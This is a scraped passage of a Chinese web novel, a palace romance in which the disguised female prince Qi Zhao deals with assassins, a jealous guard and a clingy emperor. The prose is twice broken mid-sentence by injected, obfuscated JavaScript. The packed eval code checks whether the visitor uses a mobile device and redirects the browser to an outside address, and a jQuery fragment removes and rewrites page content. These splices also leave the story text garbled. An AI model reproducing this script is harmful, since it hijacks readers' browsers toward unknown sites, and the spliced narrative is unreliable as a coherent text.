祈昭剑招沉稳,以守为攻,看准空隙,一剑刺穿一人肩胛,旋即侧身避开暗器,反手一剑封喉。 鲜血溅落在青石板上,被夜色吞噬。 她收剑而立,气息微喘,却依旧身姿挺拔,冷眸扫过剩余刺客,那股从骨髓里透出的压迫感,让刺客们都下意识顿住脚步。 就在此时,一道焦急的呼喊从巷口传来,带着几分慌乱: “王!您没事吧?” 声音低沉,竟有七八分像谢随。 祈昭握剑的手一顿。 下一秒,眸底寒光骤起。 谢随自小伴她,沉默寡言,惜字如金,行事沉稳,从不会这般大喊大叫,更不会在她未传召时贸然现身。 是诱敌。 她唇角勾起一抹极淡的冷嗤。 这些人,连她身边最亲近之人的习性都摸不清,也敢来行刺。 刺客们见她顿住,以为她中计分心,立刻趁机扑上。 祈昭眼底冷冽更甚,目光一扫,瞥见地上掉落的一张短弓与箭。她不拾剑,俯身反手抓起弓箭,指节发力,搭箭、拉弓、瞄准,动作一气呵成。 箭尖直指声音传来的暗处。 “咻——” 利箭破空而出。 “乓啷——” 伴随着一声闷响与硬物落地之声,暗处的呼喊戛然而止。 一箭,双杀。 藏在暗处模仿谢随的刺客,连同旁边接应之人,一同被射穿要害。 余下刺客见此,脸色惨白,再无战意,转身欲逃。 祈昭冷眸微眯,剑随身动,几步追上,剑落如雷,尽数了结。 血腥味在晚风里弥漫。 她收剑入鞘,抬手轻拭掉脸颊溅到的一点血珠,眉头微蹙。 谢随呢? 她明明出宫前传信,让他不必跟随,在府中等候。可方才刺客冒充谢随,他却并未出现,这不寻常。 一丝极淡的担忧掠过心头。 祈昭不再停留,翻身上了刺客留下的马,策马疾驰,向北冥王府而去。 北冥王府。 夜色已深,府内灯火安静地亮着,守卫森严,一片安宁。 祈昭策马直入府门,翻身下马,步履匆匆地走向自己的院落。 院门外,护卫躬身行礼:“王。” “谢随呢?”她沉声问。 护卫一愣:“谢护卫自您入宫后,便一直在您院内,未曾离开。” 祈昭脚步微顿。 一直在院内? 那方才宫外的刺客…… 她压下疑虑,推门走进自己的房间。 屋内灯火温柔,暖香浮动,没有丝毫血腥与冷硬,反倒弥漫着淡淡的糕点甜香。 桌旁,一道熟悉的身影安安静静地坐着。 谢随。 他依旧是那身玄色劲装,身姿英挺冷锐,气质沉敛,正低头将刚做好的糕点一一摆放在白瓷盘中。动作细致,全然没有平日里顶尖高手的锋利,反倒多了几分难得的柔和。 听到开门声,谢随立刻起身,单膝跪地,声音低沉恭敬: “王。” 没有慌乱,没有急切,一如往常。 祈昭站在门口,看着他,紧绷的心弦瞬间松垮下来,一路的杀伐冷意,悄然散去大半。 她这才想起,白日入宫前,她特意叮嘱过谢随:不必跟随,留在府中。 他向来听话,从不会违背她的命令。 所以他安安静静待在她的房间,安安静静地为她准备糕点,安安静静地等她归来。 至于外面的刺杀—— 以谢随的能力,恐怕早已知晓,只是她既下令不许跟随,他便不擅自出手,只在府内守好她的一切,做她最安心的盾。 祈昭缓步走入,关上门,隔绝了外界的夜色与寒意。 “起来吧。” 她声音褪去了一路的冷硬,多了几分不易察觉的放松。 谢随起身,垂首立在一旁,目光落在她微乱的发丝与衣角隐约的血点上,眼神微沉,却不多问,只默默将温热的糕点推到她面前: “王入宫辛苦,属下备了您爱吃的酥点。” 他从不多言,从不多问。 她不说,他便不问。 她不让他跟,他便守在家中。 她归来,他便备好一切,等她卸下一身风霜。 祈昭坐下,看着桌上精致温热的酥点,又看了一眼身旁沉默忠心的护卫,心底轻轻一叹。 这一生,女扮男装,行走荆棘之路,背负血海与权位。 朝堂之上,有萧惊渊那般纵容牵挂的帝王。 身侧之旁,有谢随这般至死不离的护卫。 她这一生,虽步步惊心,却也并非一无所有。 她拿起一块酥点,入口微甜,暖意从舌尖蔓延至心底。 窗外夜色深沉,屋内灯火温柔。 杀伐已过,归途安稳。 北冥王祈昭,在这一刻,暂时收起了所有锋芒,只安安静静地,享用着属于自己的片刻安宁。 残星尚未褪尽,天幕仍浸在一片深青墨色里,北冥王府主院的书房已亮了彻夜未熄的烛火。 祈昭早已起身,褪去了厚重的王袍,换了一身素色暗纹的常服,长发以一根简单的玉簪束起,清俊的眉眼在晨光微熹中愈显利落冷锐。桌案上堆满了北疆加急的军报、边境流民安置文书、粮草调运册子,厚厚一叠,压得紫檀木案微微下沉。 她执笔的手稳如泰山,指尖落下,朱批一气呵成,没有半分迟疑。边境布防的疏漏、粮草押运的路线、将领调遣的分寸、蛮族异动的应对,她一眼便能勘破要害,落笔便是最精准决断。杀伐果断从不是朝堂上摆出来的姿态,而是刻在她骨血里的行事准则,每一道批示都切中要害,利落得让人挑不出半分错处。 谢随立在身侧半步之外,身姿挺拔如松,沉默地将批完的文书分门别类整理妥当,又轻手轻脚捧着砚台研墨。墨锭在砚心缓缓转动,细润的墨香弥漫在书房,衬得一室静谧。他从不会打扰主子处理政务,只安安静静做她最顺手的左右手,目光自始至终落在祈昭身上,带着旁人看不懂的沉敛与忠诚。 不过半个时辰,堆积如山的政务便被处理得干干净净。 祈昭放下狼毫笔,指尖轻轻揉了揉眉心,紧绷一夜的肩线稍稍松弛。天光恰好破开云层,一缕浅金落在她清俊的侧脸上,柔和了那份逼人的王气,隐约透出几分女儿家才有的细腻柔和。 “都整理好了?”她开口,声音是清晨特有的微哑,却依旧带着上位者的沉稳。 “是,王。”谢随垂首应道,将最后一叠文书捆扎整齐,“已按轻重缓急分类,随时可送往书房外间归档。” 祈昭微微颔首,起身舒展了一下筋骨。一夜批阅政务,周身都透着紧绷,她本打算往后院的临水小轩去坐一坐,沏一壶新茶,赏一赏晨露未晞的花木,寻片刻清闲。 可她刚踏出书房门,还未走上廊桥,一阵细碎又欢快的脚步声便从远处涌来,伴随着女子轻柔的笑语与惊呼,像一阵缤纷香风,直直朝她扑了过来。 是她府里的那群侧妃、侍妾。 全是父亲祈政当年为了“安抚朝臣、稳固王位”,强行给她定下、纳入王府的女子。个个家世清白、容貌秀美、才情兼备,是京中数一数二的娇人。 起初祈昭是抗拒的,可后来转念一想——她本就是女儿身,这些姑娘入府,既可以掩人耳目,稳固她“北冥王”的男子身份,又能护这些无辜女子不被卷入更不堪的联姻。更何况,她本就喜欢欣赏美好的女孩子,看着眼前一张张娇艳明媚的脸庞,本就是一桩赏心悦目之事。 她对她们素来宽厚,不偏不倚,吃穿用度一律最好,从不苛待,更不许下人怠慢。唯一的缺憾,便是她从不碰她们,始终保持着分寸。 也正因这份温柔又疏离的好,让府里的姬妾们既倾心仰慕,又隐隐失落。 此刻,一群娇花般的姑娘们一看见祈昭,眼睛瞬间亮了起来,裙摆翩跹,像一群彩蝶般围了上来。 “王爷!您终于出来啦!” “王爷批了一夜政务,肯定累坏了吧!” “臣妾特意备了点心,王爷要不要尝一口?” 软语娇音绕在耳畔,香风阵阵,衣袖被轻轻拽着,纤细的指尖小心翼翼地蹭着她的衣袖、手臂,甚至有胆子稍大些的,轻轻靠在她的肩头,软软地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261128|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹭了蹭。姑娘们眉眼弯弯,满是依赖与欢喜,毫无半分惧意,只当她是最温柔可亲的主子。 换做旁人,被这般簇拥纠缠,早已面露不耐,可祈昭看着眼前一张张娇艳明媚、满眼欢喜的脸庞,原本想躲开的动作硬生生停住。 她无奈地轻轻一笑,素来冷肃的眉眼瞬间化开一片温柔,干脆双手一摊,大大方方站在原地,任由这群娇俏的姑娘们拥上来,靠的靠,蹭的蹭,软乎乎的身子轻轻倚在她怀中身侧,暖意融融。 她微微低头,看着怀中人比花娇的容颜,语气放得极轻,带着连自己都未察觉的温和: “一大早都不在院里歇息,都围过来做什么?” 姑娘们一听她这般温柔的语气,更是欢喜,叽叽喳喳地靠在她身边,半点都不觉得拥挤。 谢随站在廊下,看着被众芳环绕的主子,冷锐的眼底没有半分波澜,只默默守在不远处,隔绝了所有闲杂人等的视线,护住这一方安稳。 他比谁都清楚,他家这位冷冽杀伐的北冥王,内里藏着的,是对这些无辜女子最柔软的包容与欣赏。 晨光正好,芳影绕身。 权倾北疆的北冥王,在这一刻,卸下了所有的肃杀与防备,只安安静静地,被一群娇柔美好的姑娘簇拥着,成了王府清晨里,最温柔也最特别的光景。 一群娇俏美人拉拉扯扯,簇拥着祈昭往花园深处的暖亭走去。 她们今日个个精心打扮,眼底藏着雀跃,手里捧着一个个精致的锦盒,一打开便是满室芬芳——新进的胭脂、水粉、香膏、花钿,还有一支支雕工精巧、缀着珍珠宝玉的花簪,流光溢彩,看得人眼花缭乱。 “王爷,您看这盒胭脂,是京里最时新的颜色!” “这支玉簪好看,配王爷最是清俊!” “王爷皮肤这么白,涂什么颜色都好看……” 祈昭被她们围在中间,看着这些精致玩意儿,眼底也染了几分浅淡的笑意。她本就喜欢看这些美好的事物,更爱看姑娘们眉眼弯弯的模样,索性由着她们闹,只偶尔温和应两句。 人群里,一个素来调皮得宠的侍妾眼儿弯弯,趁祈昭不注意,指尖捏起一支羊脂玉雕花簪,轻轻一插,稳稳别在了她束起的发间。 玉簪衬得她眉目愈发清俊柔和,隐约透出几分难掩的清媚。 不等祈昭反应,旁边另一个胆子大的美人轻笑一声,指尖沾了一点淡粉胭脂,趁乱轻轻往她唇上一点。 一抹浅粉落在她薄唇上,不艳不俗,反倒添了几分柔和气。 “哈哈,王爷好看!” “像画里走出来的人!” 姑娘们笑得花枝乱颤,围着祈昭叽叽喳喳,又是摸发簪又是看唇色,闹成一团。 祈昭被她们闹得无奈又好笑,眉眼间全是难得的放松,全然没了平日里北冥王的冷硬,只像个纵容玩伴的温和公子。 可她没看见,不远处廊下,谢随的脸色已经沉得快要滴出水来。 他双手垂在身侧,指节微微攥紧,眼底翻涌着旁人看不懂的沉郁。 看着那群女子围着祈昭拉拉扯扯、笑闹亲昵,又是插簪子又是涂胭脂,甚至有人伸手挽着她家王爷的胳膊,谢随心口像堵了一块滚烫的石头,又闷又酸。 他是祈昭捡回来的人,是她最忠心的护卫,是这世上第二个知道她女儿身的人。他从小发誓用性命护她,眼里心里,从来只有她一个。 如今看着别人这般亲近她,逗得她笑,碰她的发,触她的唇…… 谢随忍无可忍。 醋意几乎要冲破理智。 不等祈昭玩得尽兴,谢随大步上前,无视满亭娇香,在众人惊愕的目光里,伸手一把握住祈昭的手腕。 力道不算重,却带着不容拒绝的强硬。 “王,该处理正事了。” 他声音冷得像冰,眼神扫过那群女子时,带着慑人的锐利,吓得姑娘们瞬间噤声,不敢再闹。 祈昭正被闹得开心,突然被人攥住手,整个人一怔。 她茫然低头,看着攥着自己手腕的谢随,又看了看他沉得吓人的脸,一头雾水。 “谢随?”她轻声开口,还带着刚才笑闹的余温,“怎么了?” 谢随不答,只沉声道:“属下有事禀报。” 不等祈昭反应,他直接半扶半拉,带着人转身就走,脚步又快又稳,半点不给她回头的机会。 祈昭被他拉着往前走,发间玉簪轻轻晃动,唇上那点淡粉胭脂还在,脸上全是没回过神的茫然。 她完全没明白。 刚才还安安静静守在一旁的护卫,怎么突然就……这么生气了? 她不知道,她身边这位最忠心、最沉默的护卫,早已经是个打翻了的醋坛子。 身后一群美人站在暖亭里,面面相觑,看着自家王爷被护卫强行拉走,一个个满脸错愕。 晨光洒在两人相握的手上,谢随掌心滚烫,心口酸涩。 他只是……不想让任何人,这么近地碰他的王。 33. 王生来这样·三 祈昭被谢随一路攥着手腕穿过花园回廊,玄色的袍角被风掀得轻扬,发间那支玉簪微微晃动,唇上那点淡粉胭脂还带着软香。她一路走一路问,语气里满是茫然不解。 “谢随,你到底怎么了?” “方才不是说无事吗?怎么突然这般?” “是不是府里出了事?还是北疆有急报?” 可身前的人从头到尾一声不吭,下颌线绷得死紧,薄唇抿成一道冷硬的线,只闷头攥着她往前走,脚步沉得像是在跟谁赌气。往日里他虽沉默,却从不会这般对她不理不睬,更不会用这样近乎蛮横的力道拉着她。 祈昭心里愈发奇怪,却也没挣开——她知道谢随从不会害她,这般反常,定是有缘由。 直到被拽进自己的寝屋,谢随才“砰”地一声轻合房门,终于松开了手。 他转过身,依旧垂着眼,身形站得笔直,却像块闷不吭声的木头,脸色沉郁,腮帮子还不自觉地轻轻鼓了一下,像是把一口气死死憋在嘴里,又酸又闷,无处发泄。 祈昭看着他这副模样,素来冷肃的眉眼弯了弯,又好气又好笑。 她上前一步,仰头望着他,指尖轻轻抬起,一下、两下,轻轻戳了戳他鼓着的腮帮子。 软的,有点烫。 就这么一下轻戳,谢随浑身一僵,憋了一路的气瞬间像被戳破的皮球,“唰”地泄了干净。紧绷的肩线垮了几分,垂在身侧的手攥了又松,耳尖却不受控制地泛上一层浅红。 “还不说?”祈昭声音放软,带着几分纵容的无奈,“谁惹我们谢护卫生气了?” 谢随喉结滚了滚,依旧哑口无言,总不能说——他是气那些女人碰她、气她们给她插簪涂胭脂、气她们离她那么近…… 他说不出口。 祈昭见他这副憋闷又无措的样子,心头微动,忽然想起方才那群姬妾围在身边的模样,下意识以为他是觉得自己被冷落了,或是羡慕那些能亲近她的人。 她轻叹一声,语气认真地安抚:“你呀,别胡思乱想。她们纵然能围着我闹,可这王府里,唯有你能随意进出我的寝屋,能近身护我左右,这份特殊,还不够吗?” 谢随猛地抬眼,漆黑的眸子里亮了一瞬,心跳骤然加速。 他以为……他以为王看穿了他的心思,看穿了他那点不敢言说的独占欲。 可下一秒,祈昭下一句话出口,直接让他整个人僵在原地,彻底懵了。 她看着他泛红的耳尖,只当他是年纪到了,也想要枕边人,便随口笑着补了一句:“还是说……你也想要纳妾,想要女子相伴?” 谢随:“……” 空气瞬间凝固。 他整个人像是被雷劈中一般,呆在原地,漆黑的眼眸里写满了错愕、茫然,还有一丝说不清道不明的憋屈。 纳妾? 要女子? 他不要那些女人! 他一点都不想要! 他想要的从来不是什么姬妾,不是什么温柔乡,他想要的……自始至终,只有眼前这个人。 是这个捡他回来、护他长大、让他甘愿以命相护的北冥王。 是这个藏在男装之下,眉眼清媚、心软温柔的祈昭。 谢随彻底“炸”了,又急又闷,张了张嘴,却半天憋不出一个字,只脸色涨得通红,耳尖烫得快要烧起来,眼神慌乱地看着祈昭,完全听不懂自家王到底在想些什么。 他不想要别人,他只想要她啊。 祈昭看着他这副手足无措、快要急疯的模样,先是一怔,随即忍不住低笑出声,眉眼间的清媚与柔和,在晨光里一览无余。 她还以为,自己猜中了这闷葫芦的心事。 却不知,她这一句无心安慰,差点让身边这位忠犬护卫,直接乱了心魂。 祈昭见谢随耳尖通红、神色慌乱到手足无措,只当自己一语中的。 眼底笑意更深,她往前又凑了半步,清俊的眉眼带着几分促狭,刚要开口打趣——“既然想要,本王便替你挑几个温顺貌美的……” 话还没来得及说出口。 谢随眼疾手快,不知从袖口哪里飞快摸出一块还带着余温的桂花酥,不等祈昭反应,直接轻轻抬手,整块塞进了她嘴里。 软糯甜香瞬间填满口腔。 “……唔!” 祈昭猛地一怔,整个人都懵了,剩下的话全堵在喉咙里,只能瞪着眼看他。 谢随脸上还染着未散的红晕,却强行沉下声,压低嗓音,又急又轻地堵了一句: “别说了,王。” “你是猜不到的。” 那语气里藏着一丝慌乱、一丝窘迫,还有一丝连他自己都没察觉的撒娇意味。 祈昭含着糕点,腮帮子微微鼓着,眨了眨眼,一时竟忘了反应。 她活了这么多年,杀伐决断,权掌北疆,敢这么直接往她嘴里塞东西、还敢打断她说话的,普天之下也就谢随一个。 谢随见她终于不追问了,才稍稍松了口气,飞快别开眼,强行把翻涌的情绪压下去,恢复成那副沉稳冷肃的护卫模样,沉声开始禀报正事。 “王,下午还有三批奏折要批。” “一是江南漕运复核,二是北疆驻军粮草补给,三是边境互市新开章程。” “另外,江边哨探刚传回急报:江面近日雾大,水寇有异动迹象,属下已让人加强巡防,只等您示下。” 他语速平稳,条理清晰,一副“刚才吃醋闹脾气的人绝对不是我”的正经模样。 祈昭慢慢嚼着嘴里的桂花酥,甜意从舌尖漫到心底。 她看着谢随故作镇定、耳尖却依旧泛红的样子,眸底闪过一丝明悟,却没再戳破。 只是含着糕点,含糊不清地“嗯”了一声。 罢了。 猜不到就猜不到吧。 反正这人,不管闹什么别扭,终究是她最忠心、最顺手、也最放不下的那一个。 残阳又一次染透天际,将北冥王府的飞檐描上一层倦怠的金红。 祈昭终于搁下手中狼毫,长长舒出一口气,整个人像是被抽走了浑身力气,瘫坐在椅中,连抬手的力气都所剩无几。 整整六个时辰,她端坐案前未动分毫,批完了江南漕运、北疆粮草、江边布防、边境互市四堆摞得比人还高的政务。身为北冥王,她从不敢懈怠,可再强的意志,也架不住身体的疲惫。 她微微动了动腿,只觉得双腿发麻,酸胀感从腰臀一路窜到脚尖,稍一用力便控制不住地打颤。稍一起身,眼前竟微微发黑,踉跄了一下,若非谢随眼疾手快扶住,她真能直接软跪在地。 “王。”谢随脸色一沉,伸手稳稳托住她的胳膊,力道小心翼翼,满是心疼,“您太累了。” 祈昭扶着桌沿,喘了两口气,声音哑得厉害:“无妨……就是坐久了。” 她现在别说再入宫去见萧惊渊,就算只是多走两步,都觉得双腿打颤,浑身虚软,累得连眼皮都快抬不起来。 恰在此时,门外传来内侍尖细的通传声——是宫中来人,陛下再召北冥王入宫觐见。 祈昭揉着发胀的太阳穴,疲惫地摆了摆手,对那传旨内侍道:“回禀陛下,本王今日处理政务过久,身体疲乏不堪,今夜便不入宫了,改日再向陛下请罪。” 她语气诚恳,却实在没力气多解释半句,说完便由谢随搀扶着,准备回内榻歇片刻。 可那传旨内侍回去的路上,不知怎的以讹传讹,话越传越歪,等递到萧惊渊耳中时,早已变了模样—— “陛下,不好了!北冥王府来人说,北冥王殿下处理政务累到晕厥,倒在寝室无人照料,情况堪忧啊!” 萧惊渊正坐在御书房里,握着笔的手猛地一顿,墨滴落在奏折上,晕开一大团黑渍。 他脸色骤变,清贵凛冽的眉眼瞬间覆上一层惊恐慌乱,哪里还有半分帝王的冷静沉稳? “晕厥?无人照料?” 他猛地起身,龙袍下摆扫过地面,声音都控制不住发紧:“备驾!即刻去北冥王府!快!” 不等内侍反应,他已经大步朝外走去,素来端持的帝王威仪抛得一干二净,满心满眼,全是那个让他牵肠挂肚的人。 他不敢想,祈昭若是真的累倒了,该有多难受。 他更不敢想,若是他晚去一步,会发生什么。 御驾连夜出宫,一路疾驰,朝着北冥王府狂奔而去。 而此刻的祈昭,还躺在榻上揉着发麻的双腿,对即将到来的惊天动静,一无所知。 谢随被祈昭强令回房歇息后,庭院里终于静了下来。 累得骨头都快散架的祈昭,松开发带,任由一头乌黑长发披散下来,遮住清俊削薄的肩头。她懒得再唤侍女,自行准备简单洗漱沐浴,先褪了外袍,只着一身素白里衣。 里衣贴身轻薄,衬得她肩线纤细,少了几分平日北冥王的刚硬,多了几分柔和轮廓。 她刚转过身,打算去取干净衣物,院外忽然传来一阵急促杂乱的脚步声,伴随着内侍低低的阻拦声,一片喧哗。 祈昭眉尖微蹙,疲惫涌上心头,只觉得莫名烦躁。 “谁在外边——” “哐当——” 一声轻响,她的寝屋大门被人直接从外推开。 风裹挟着暮色一同涌进来。 萧惊渊一身明黄常服,脸色紧绷,清贵眉眼间全是压不住的慌乱与急切,一进门便下意识抬手,将身后跟着的侍卫、内侍全都拦在门外,沉声冷斥:“全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祈昭被他问得一噎,疲惫地靠在桌边,懒得再装十足的威仪。 “我没晕厥,就是坐久了,腿麻。” 她看着眼前这位紧张得乱了分寸的少年帝王,心底那点无语,终究还是化作一声轻轻的叹息。 罢了。 反正,也早就被他看光了从小到大的所有狼狈。 祈昭一听“累晕无人管”这话,当即气得太阳穴突突直跳,本就疲惫不堪,此刻火气直接冲上头顶。 她咬牙冷笑,声音都冷了几分:“到底是谁在乱传?敢这么咒我,回头我非拔了他舌头不可!” 萧惊渊看着她炸毛的模样,又心疼又想笑,目光不自觉又往她身上飘了飘——那身里衣实在太贴身,线条柔和得藏不住端倪。他轻咳一声,强行移开视线,耳尖微微发红。 “先别说这个了,快把衣服穿上。” 顿了顿,他又小声补了句,“……是有点不成体统。” 只是那眼神,诚实得很,偷偷又瞄了两眼。 祈昭被他看得又气又窘,匆匆抓过外袍披上,胡乱系好腰带,疲惫地挥挥手:“陛下既然知道是谣传,眼下也看见了,我好好的,没晕没死。您日理万机,宫里一堆事等着,赶紧回宫去吧,别在我这儿浪费时间。” 她是真累瘫了,只想安安静静躺平,不想再陪这位帝王演戏。 可萧惊渊既然来了,就没打算走。 他往屋内一站,清贵凛冽的眉眼一垂,语气斩钉截铁: “朕来了,就没有走的道理。” 祈昭刚要开口,他又理直气壮地补上一句: “今晚,朕跟你一块睡。” 祈昭:“……” 她彻底被整无语了,太阳穴一抽一抽地疼。 “陛下,你别胡闹,这是王府,不是宫里!” “我让人送你回去,赶紧走!” 萧惊渊一看她要赶人,脸色瞬间就变了。 前一刻还是冷静腹黑的帝王,下一秒眼眶就红了,嘴角往下一垮,眼泪说来就来,真真切切挂在眼角。 “你赶我走……” “你累成这样,都不让我陪着……” “你是不是不想要我了……” 他一边哭,一边黏上来,伸手就拽住祈昭的衣袖,像个被抛弃的孩童。祈昭往后退,他干脆一不做二不休,直接拖着龙袍裙摆,“咚”地跪在地上,双手死死抱住她的小腿,仰头哭唧唧地望着她。 哪里还有半分朝堂上不顺眼就杀、冷酷杀伐的帝王模样? 活脱脱一个粘人爱哭的撒娇精。 祈昭僵在原地,被他抱得动弹不得,看着地上哭得眼眶通红、眼泪真往下掉的人,气得哭笑不得。 她深吸一口气,又气又无奈,最后破罐子破摔,憋出一句: “你气死我个屁了!……算了算了,随你便!不准哭了!” 萧惊渊瞬间收泪,眼睛还红红的,嘴角却已经偷偷往上扬了。 目的达成。 34. 王生来这样·四 祈昭眼睁睁看着前一秒还哭得眼眶通红、委委屈屈的萧惊渊,下一秒嘴角就偷偷往上扬,眼泪瞬间收得干干净净,那点小得意根本藏不住。 她额角青筋当场就炸了。 “我操,你还笑呢?!” “合着刚才全是装的是吧!赶紧给我走!” 她伸手就去推人,是真被这反复变脸的帝王气笑了。 萧惊渊嘴角还翘着,一看她又要赶人,脸色秒变,嘴角往下一垮,眼睛一闭,泪珠说来就来,作势又要扑上来抱大腿。 可他还没碰到衣摆,祈昭忍无可忍。 只见她弯腰伸手,一手揽腰、一手托腿,干脆直接把萧惊渊打横抱了起来! 萧惊渊:“?!” 九五之尊当场僵住,眼泪都卡在眼眶里,整个人懵了。 他是真没料到——祈昭居然能把他抱起来! 祈昭抱着人,手臂微微发紧。 说实话,是有点沉,毕竟萧惊渊身形不矮,她这会儿又浑身疲惫,抱得胳膊都发酸。 但她从小习武,底子扎实,这点力气还是有的。 祈昭在心里默默当成负重强度训练,咬着牙就往门口走,打算直接把人“扔”出去。 “你放我下来!阿昭!”萧惊渊终于反应过来,又惊又窘。 他怕真被她扔出门去,传出去帝王颜面扫地,情急之下手臂一挣,反手就去揽祈昭的腰。 两人这么一挣一扯,力道失衡。 “唔——” 只听一声闷响,两人双双摔在铺着软毯的地上。 萧惊渊怕摔着她,下意识把人往怀里带,结果变成他垫在下面,祈昭半压在他身上。 气氛瞬间凝滞。 祈昭被他这一搅和,火气彻底上来了。 她也不管什么君臣不君臣了,抬手就是一拳,“砰”地一声,结结实实砸在萧惊渊胸口。 真打,一点没客气。 萧惊渊闷哼一声,胸口立刻浮起一道浅浅的红印。 他睁着眼看着她,又疼又懵,半天没回过神。 祈昭压在他身上,喘着气,恶狠狠瞪他: “萧惊渊,你再闹——” 话没说完,自己先累得手臂一软,差点整个人趴下去。 她是真的,半点力气都没了。 萧惊渊被她那一拳砸得胸口发闷,可抬眼一看,祈昭额前全是薄汗,呼吸都轻颤,眼底的疲惫藏都藏不住,整个人几乎是强撑着一口气在跟他闹。 他心瞬间就软了。 方才那点耍赖胡闹的心思,一下子全散了,只剩满心心疼。 “不闹了,不闹了。” 他低声哄了一句,动作忽然变得无比稳当。 不等祈昭反应,萧惊渊单手扣住她的腰,另一手托住她的臀,直接将人打横稳稳抱了起来。 “萧惊渊!你放我下来!” 祈昭懵了一瞬,立刻挣扎,手脚都有点乱,脑袋差点直接怼到他脸上,一副下一秒就要张口啃他脑门的凶样。 可她实在太累,力气虚浮,挣扎跟挠痒差不多。 萧惊渊低头看她炸毛又没力气的样子,喉间低低笑了一声,脚步沉稳地把人放到床边,让她先坐着。 下一幕,让祈昭彻底僵住。 这位九五至尊、朝堂上杀伐果断的帝王,竟在她面前单膝跪地,仰头望着她,动作自然地伸手去脱她的靴袜。 祈昭:“……” 她一时竟忘了挣扎。 萧惊渊动作轻而稳,替她褪了外靴,又把裙摆抚平,声音放得极柔:“躺好,不许再闹。” 祈昭被他伺候得浑身不自在,刚想开口骂人,已经被他轻轻按着肩膀躺倒在软榻上。 她刚想说“你敢上来试试”,就见萧惊渊毫无心理负担地宽了外袍,掀开被子一侧,十分不要脸地跟着躺了上去,长臂一伸,直接把人牢牢抱进怀里。 温热的气息裹着龙涎香,将她整个人圈在怀中。 祈昭:“……” 她累得连翻白眼的力气都没了,彻底无语到极致。 她闭着眼,咬牙切齿,气音从牙缝里挤出来: “萧惊渊,你别逼我。 等我明天恢复体力,两拳把你干趴下,这皇位,我来坐。” 头顶传来低低的笑声,胸膛震得她耳根发麻。 帝王抱着怀中人,语气又乖又赖: “那臣,恭候陛下登基。” “今晚先睡,嗯?” 祈昭气闷地往他怀里一埋,最终还是抵不住铺天盖地的疲惫,昏昏沉沉睡了过去。 一夜暖榻,君臣同眠。 窗外夜色温柔,屋内呼吸相缠。 天刚蒙蒙亮,浅淡晨光透过窗纱洒进屋内。 祈昭是被沉得喘不过气的感觉憋醒的。 浑身酸软无力,胸口像压了块大石头,连呼吸都发闷,她迷迷糊糊间第一个念头就是—— 撞鬼了?鬼压床? 她困得眼皮都懒得抬,下意识伸手想把那团“脏东西”推开,结果一摸,摸到一片温热结实的胸膛,还带着清晰的起伏。 祈昭:“?” 她猛地睁眼。 视线往下一落—— 萧惊渊睡得毫无帝王形象,整个人像只大型黏人兽,大半身子都压在她身上,头埋在她颈窝,长臂死死圈着她的腰,长腿还霸道地缠在她腿上。 呼吸均匀,睡得一脸安稳,甚至还微微蹭了蹭,像找到最舒服的抱枕。 祈昭:“……” 她沉默三秒,嘴角狠狠一抽。 什么鬼压床。 是萧惊渊这个畜生。 睡觉居然这么不老实,睡着睡着整个人往她身上扒,压得她一夜都没睡踏实。 祈昭深吸一口气,伸手就往他肩膀上推,咬牙切齿从牙缝里挤出一句: “萧、惊、渊!你给我滚下去——!” 晨起踹床,拳软情真 祈昭被压得一肚子火气,睡意全无,猛地发力将身上的人一把推开。 萧惊渊本就睡得沉,又被她这股狠劲一掀,直接从床榻上滚了下去—— “咚!” 结结实实摔在地毯上。 他闷哼一声,懵懵懂懂睁开眼,一脸茫然地抬头,发型凌乱,龙袍皱巴巴,哪里还有半分帝王威仪,活像只被踹下床的大型犬。 “阿昭……?” 他刚要委屈开口,祈昭已经翻身下床,玄色里衣还带着晨起的褶皱,长发微乱,可眼神里那股动真格的凶劲直接拉满。 她攥紧拳头,指节泛白,一步步朝他逼近,清俊的脸上满是“算账”的狠气。 “昨晚是谁赖着不走?是谁抱着我不放?是谁压了我一晚上?” “我昨天说了,等我醒了,两拳把你干翻,这皇位我来坐。” 萧惊渊瞬间清醒,吓得往后缩了缩,却没真躲,只是仰着头看她,眼底还带着点赖皮的笑意。 他就知道,她舍不得。 祈昭抬手,拳头带着风,直直朝他脸前砸去—— 萧惊渊眼都没眨。 果然。 就在拳头快要碰到他鼻尖的刹那,祈昭手腕猛地一收,力道卸得干干净净,最后只是轻轻戳了一下他的额头,连点红印都没留下。 手软了。 不舍得打。 她气呼呼地收回手,咬牙瞪他,又凶又无奈: “萧惊渊,你真是……我上辈子欠你的。” 男人趴在地上,看着她炸毛却心软的模样,忽然低低笑出声,伸手一把抓住她的手腕,往自己怀里一带。 “是,陛下。” “那陛下今日,可要登基?” 祈昭被他拽得踉跄,气得抬脚又想踹,却被他牢牢抱住,再也挣不开。 晨起的阳光落在两人身上,暖得一塌糊涂。 在祈昭又推又催、连掐带撵之下,萧惊渊终于不情不愿地整理好衣袍,一步三回头地离开了北冥王府。走前还不忘扒着门框,委屈巴巴地丢下一句“朕晚些再来看你”,气得祈昭当场就要关门砸他脸。 直到院门外的御驾动静彻底消失,祈昭才长长舒了口气,揉着发疼的太阳穴转身回屋。 一进门,她脚步一顿。 谢随就站在屋内,身姿依旧挺拔如松,可整张脸——从脸颊到耳尖,再到脖颈,全都红得快要滴血,像被火烤过一样。 垂在身侧的手死死攥着,指节泛白,眼神垂着不敢看她,却又忍不住往床榻方向飞快瞟了一眼,再迅速收回,呼吸都有些乱。 他原本是按时辰过来伺候主子起身,刚到院门口就撞见帝王从主子寝屋里出来,再一联想昨夜陛下直接闯进来、彻夜未走…… 谢随脑子里“轰”的一声,整个人都炸了。 醋意、慌乱、憋屈、不安,乱七八糟的情绪堵在胸口,烫得他整张脸通红。 祈昭一看他这副快要冒烟的模样,再迟钝也明白了——这小子八 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搁下笔时,她长长舒了口气,眉眼间难得染上几分轻松。 